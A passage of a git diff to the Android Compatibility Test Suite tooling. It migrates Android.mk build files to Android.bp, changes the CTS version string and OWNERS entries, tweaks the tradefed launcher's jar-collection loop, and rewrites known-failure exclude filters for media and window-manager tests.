+        " -a com.android.compatibility.common.deviceinfo.ConfigurationDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.CpuDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.FeatureDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.GenericDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.GlesStubActivity " +
+        " -a com.android.compatibility.common.deviceinfo.GraphicsDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.LocaleDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.MediaDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.MemoryDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.PackageDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.ScreenDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.StorageDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.UserDeviceInfo " +
+        " -a com.android.compatibility.common.deviceinfo.VintfDeviceInfo " +
+        " -a com.android.compatibility.common.util.DummyActivity " +
+        " -l android.test.runner " +
+        " -lo androidx.window.sidecar " +
+        " -p com.android.compatibility.common.deviceinfo " +
+        " -i androidx.test.runner.AndroidJUnitRunner " +
+        " -s 23 " +
+        " -t 23 " +
+        " -o $(out)",
+}
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
deleted file mode 100644
index b1bb5e0..0000000
--- a/tools/cts-device-info/Android.mk
+++ /dev/null
@@ -1,53 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_JNI_SHARED_LIBRARIES := libctsdeviceinfo
-
-LOCAL_MULTILIB := both
-
-DEVICE_INFO_MIN_SDK := 23
-DEVICE_INFO_TARGET_SDK := 23
-
-LOCAL_MIN_SDK_VERSION := 23
-
-DEVICE_INFO_PERMISSIONS :=
-
-DEVICE_INFO_ACTIVITIES := \
-    com.android.compatibility.common.deviceinfo.GlesStubActivity \
-    com.android.cts.deviceinfo.CameraDeviceInfo \
-    com.android.cts.deviceinfo.SensorDeviceInfo \
-    com.android.cts.deviceinfo.VulkanDeviceInfo
-
-LOCAL_PACKAGE_NAME := CtsDeviceInfo
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-# Disable dexpreopt and <uses-library> check for test.
-LOCAL_ENFORCE_USES_LIBRARIES := false
-LOCAL_DEX_PREOPT := false
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts mts vts catbox gcatbox
-
-include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tools/cts-dynamic-config/Android.bp b/tools/cts-dynamic-config/Android.bp
new file mode 100644
index 0000000..61f9e54
--- /dev/null
+++ b/tools/cts-dynamic-config/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2018 Google Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+genrule {
+    name: "cts-dynamic-config.dynamic",
+    srcs: [
+        "DynamicConfig.xml",
+    ],
+    out: [
+        "cts-dynamic-config.dynamic",
+    ],
+    cmd: "cp $(in) $(out)",
+}
+
+java_test_host {
+    name: "cts-dynamic-config",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    java_resources: [
+        ":cts-dynamic-config.dynamic",
+    ],
+}
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
deleted file mode 100644
index fae519c..0000000
--- a/tools/cts-dynamic-config/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2018 Google Inc.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-dynamic-config
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_CLASS := FAKE
-LOCAL_IS_HOST_MODULE := true
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests mts
-
-# my_test_config_file := DynamicConfig.xml
-# TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
-# location is the test case directory.
-# include $(BUILD_HOST_TEST_CONFIG)
-
-include $(BUILD_SYSTEM)/base_rules.mk
-
-$(LOCAL_BUILT_MODULE): $(HOST_OUT_TESTCASES)/$(LOCAL_MODULE)/$(LOCAL_MODULE).dynamic
-	@echo "cts-dynamic-config values: $(LOCAL_MODULE)"
-	$(hide) touch $@
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index 2a17141..dee557e 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -34,7 +34,7 @@
     wrapper: "etc/cts-tradefed",
     short_name: "CTS",
     full_name: "Compatibility Test Suite",
-    version: "12.1_r4",
+    version: "12.1_r1",
     static_libs: ["cts-tradefed-harness"],
     required: ["compatibility-host-util"],
 }
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
index 3842024..790c317 100644
--- a/tools/cts-tradefed/OWNERS
+++ b/tools/cts-tradefed/OWNERS
@@ -1,7 +1,7 @@
 #  Android EngProd Approvers
 guangzhu@google.com
 fdeng@google.com
-moonk@google.com
+normancheung@google.com
 jdesprez@google.com
 
 # Android Partner Eng Approvers
@@ -14,4 +14,5 @@
 per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
 per-file cts-on-csi*.xml = ycchen@google.com, hsinyichen@google.com, tyanh@google.com
 per-file csi-*.xml = ycchen@google.com, hsinyichen@google.com, tyanh@google.com
+per-file cts-on-gsi*.xml = bettyzhou@google.com, ycchen@google.com, hsinyichen@google.com, tyanh@google.com
 
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index b9d5547..21b36ca 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -112,7 +112,7 @@
 fi
 
 # include any host-side test jars
-for j in ${CTS_ROOT}/android-cts/testcases/*.jar; do
+for j in $(find ${CTS_ROOT}/android-cts/testcases -name '*.jar'); do
     JAR_PATH=${JAR_PATH}:$j
 done
 
diff --git a/tools/cts-tradefed/res/config/collect-tests-only.xml b/tools/cts-tradefed/res/config/collect-tests-only.xml
index a3769a9..bb53a6d 100644
--- a/tools/cts-tradefed/res/config/collect-tests-only.xml
+++ b/tools/cts-tradefed/res/config/collect-tests-only.xml
@@ -29,6 +29,7 @@
     <option name="preparer-whitelist" value="com.android.tradefed.targetprep.suite.SuiteApkInstaller" />
     <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.ApkInstaller" />
     <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.FilePusher" />
+    <option name="preparer-whitelist" value="com.android.tradefed.targetprep.PythonVirtualenvPreparer" />
 
     <option name="compatibility:collect-tests-only" value="true" />
 
diff --git a/tools/cts-tradefed/res/config/csi-known-failures.xml b/tools/cts-tradefed/res/config/csi-known-failures.xml
index bbb98b7..86c8fe6 100644
--- a/tools/cts-tradefed/res/config/csi-known-failures.xml
+++ b/tools/cts-tradefed/res/config/csi-known-failures.xml
@@ -32,84 +32,38 @@
     <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases android.cts.statsd.atom.UidAtomTests#testAppCrashOccurred" />
     <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases android.uirendering.cts.testclasses.SurfaceViewTests#testMovingWhiteSurfaceView" />
 
-    <!-- Exclude known failure of CtsMediaTestCases (mostly on some Pixel phones) -->
+    <!-- Exclude known failure of CtsMedia*TestCases (mostly on some Pixel phones) -->
     <!-- CSI doesn't seem to include ringtones. -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.RingtoneManagerTest" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.RingtoneTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaAudioTestCases android.media.audio.cts.RingtoneManagerTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaAudioTestCases android.media.audio.cts.RingtoneTest" />
 
     <!-- Following failures take about 10 min each, so exclude them to reduce test time. -->
     <!-- CSI on Goldfish can pass the following tests in StreamingMediaPlayerTest. -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.StreamingMediaPlayerTest#testHTTP_H263_AMR_Video2" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.StreamingMediaPlayerTest#testHTTP_H264Base_AAC_Video2" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.StreamingMediaPlayerTest#testHTTP_MPEG4SP_AAC_Video2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.cts.player.StreamingMediaPlayerTest#testHTTP_H263_AMR_Video2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.cts.player.StreamingMediaPlayerTest#testHTTP_H264Base_AAC_Video2" />
+    <option name="compatibility:exclude-filter" value="CtsMediaPlayerTestCases android.media.cts.player.StreamingMediaPlayerTest#testHTTP_MPEG4SP_AAC_Video2" />
 
     <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoCodecTest. -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoCodecTest#testParallelEncodingAndDecodingAVC" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoCodecTest#testParallelEncodingAndDecodingHEVC" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoCodecTest#testParallelEncodingAndDecodingVP8" />
+    <option name="compatibility:exclude-filter" value="CtsMediaCodecTestCases android.media.codec.cts.VideoCodecTest#testParallelEncodingAndDecoding" />
 
     <!-- Failures will crash the test harness, so exclude it here (even though only failed with VP9 decoder). -->
     <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoDecoderRotationTest. -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderRotationTest" />
+    <option name="compatibility:exclude-filter" value="CtsMediaCodecTestCases android.media.codec.cts.VideoDecoderRotationTest" />
 
     <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoDecoderPerfTest. -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther0Perf0320x0240" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther0Perf0720x0480" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther0Perf1280x0720" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf0320x0240" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf0720x0480" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf1280x0720" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testAvcOther1Perf1920x1080" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf0352x0288" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf0640x0360" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf0720x0480" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf1280x0720" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther0Perf1920x1080" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf0352x0288" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf0640x0360" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf0720x0480" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf1280x0720" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf1920x1080" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testHevcOther1Perf3840x2160" />
+    <option name="compatibility:exclude-filter" value="CtsMediaDecoderTestCases android.media.decoder.cts.VideoDecoderPerfTest#testPerf" />
 
     <!-- CSI on Cuttlefish and Goldfish can pass the following tests in VideoEncoderTest. -->
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH263SurfMinMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfArbitraryH" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfArbitraryW" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfNearMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfNearMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfNearMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogH265SurfQCIF" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfArbitraryH" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfArbitraryW" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogMpeg4SurfNearMinMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8Surf480p" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfArbitraryH" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfArbitraryW" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfNearMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfNearMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfNearMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP8SurfQCIF" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9Surf480p" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfArbitraryH" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfArbitraryW" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfNearMaxMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfNearMaxMin" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfNearMinMax" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoEncoderTest#testGoogVP9SurfQCIF" />
-
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfMinMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfArbitraryH" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfArbitraryW" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfNearMaxMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfNearMaxMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfNearMinMax" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfQCIF" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurfNearMinMin" />
+    <option name="compatibility:exclude-filter" value="CtsMediaEncoderTestCases android.media.encoder.cts.VideoEncoderTest#testSurf480p" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
index 80bcea7..b614422 100644
--- a/tools/cts-tradefed/res/config/cts-automated.xml
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -24,6 +24,7 @@
 
     <option name="skip-preconditions" value="false" />
     <option name="skip-system-status-check" value="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+    <option name="wifi-check:disable" value="true" />
 
     <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
@@ -32,4 +33,6 @@
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
     <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
 
+    <!-- Main CTS remains single device until decided otherwise for default automation -->
+    <option name="multi-devices-modules" value="EXCLUDE_ALL" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
index c1dffd2..e1152c7 100644
--- a/tools/cts-tradefed/res/config/cts-common.xml
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -19,6 +19,9 @@
     <option name="compatibility:run-suite-tag" value="cts" />
     <!-- Enable module parameterization to run instant_app modules in main CTS -->
     <option name="compatibility:enable-parameterized-modules" value="true" />
+    <!-- Main CTS executes both single and multi-devices in the same plan during sharding -->
+    <option name="multi-devices-modules" value="RUN" />
+
     <include name="cts-preconditions" />
     <include name="cts-system-checkers" />
     <include name="cts-known-failures" />
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
index 5ea30e2..3d66c33 100644
--- a/tools/cts-tradefed/res/config/cts-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -14,6 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Excluded tests from main CTS runs">
+
+    <include name="cts-developer-exclude" />
+
     <!-- b/64127136 -->
     <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
     <option name="compatibility:exclude-filter" value="CtsSecurityHostTestCases android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
diff --git a/tools/cts-tradefed/res/config/cts-foldable.xml b/tools/cts-tradefed/res/config/cts-foldable.xml
index d5e4326..cf74572 100644
--- a/tools/cts-tradefed/res/config/cts-foldable.xml
+++ b/tools/cts-tradefed/res/config/cts-foldable.xml
@@ -33,8 +33,5 @@
          device and camera sensor. -->
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
     <option name="compatibility:exclude-filter" value="CtsCameraTestCases[instant] android.hardware.camera2.cts.ExtendedCameraCharacteristicsTest#testCameraOrientationAlignedWithDevice" />
-    <!-- b/193752359: OrgOwnedProfileOwnerTest#testScreenCaptureDisabled failures due to personal
-         launcher always visible on one of the screens. -->
-    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testScreenCaptureDisabled" />
 
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 550b323..46f96ca 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -247,13 +247,18 @@
     <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsdatom.permissionstate.DangerousPermissionStateTests#testDangerousPermissionStateSampled" />
     <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases[instant] android.cts.statsdatom.permissionstate.DangerousPermissionStateTests#testDangerousPermissionStateSampled" />
 
+    <!-- b/202357331 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testCreateAdminSupportIntent" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testCreateAdminSupportIntent" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testCreateAdminSupportIntent" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testSetCameraDisabledLogged" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSetCameraDisabledLogged" />
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testSetCameraDisabledLogged" />
+
     <!-- b/204721335 -->
     <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
     <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
 
-    <!-- b/182630972, b/214019488 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
-
     <!-- b/209382234 -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases[run-on-work-profile] android.devicepolicy.cts.KeyManagementTest" />
@@ -262,83 +267,10 @@
     <!-- b/203177211 -->
     <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
 
-    <!-- b/223640691 -->
-    <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases android.view.inputmethod.cts.KeyboardVisibilityControlTest#testRestoreImeVisibility" />
-    <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases[instant] android.view.inputmethod.cts.KeyboardVisibilityControlTest#testRestoreImeVisibility" />
+  <!-- b/182630972, b/214019488 -->
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
 
-    <!-- b/225190177 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.MultiDisplaySystemDecorationTests#testImeWindowCanSwitchToDifferentDisplays" />
-
-    <!-- b/227769241 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTranslucentAppOrientationRequests" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTranslucentActivityPermitted" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTaskMoveToBackOrientation" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testTaskCloseRestoreFixedOrientation" />
-
-    <!-- b/231676309 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.AppConfigurationTests#testFixedOrientationWhenRotating" />
-
-    <!-- b/232209413 -->
-    <option name="compatibility:exclude-filter" value="CtsDpiTestCases android.dpi.cts.ConfigurationScreenLayoutTest" />
-    <option name="compatibility:exclude-filter" value="CtsDpiTestCases[foldable:1:OPEN] android.dpi.cts.ConfigurationScreenLayoutTest" />
-    <option name="compatibility:exclude-filter" value="CtsDpiTestCases[foldable:2:HALF-OPEN] android.dpi.cts.ConfigurationScreenLayoutTest" />
-    <option name="compatibility:exclude-filter" value="CtsDpiTestCases[instant] android.dpi.cts.ConfigurationScreenLayoutTest" />
-
-    <!-- b/232830864 -->
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.lifecycle.ActivityTests#testFinishAffinity_differentAffinity" />
-    <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.lifecycle.ActivityTests#testFinishAffinity_multiTask" />
-
-     <!-- b/232962177 -->
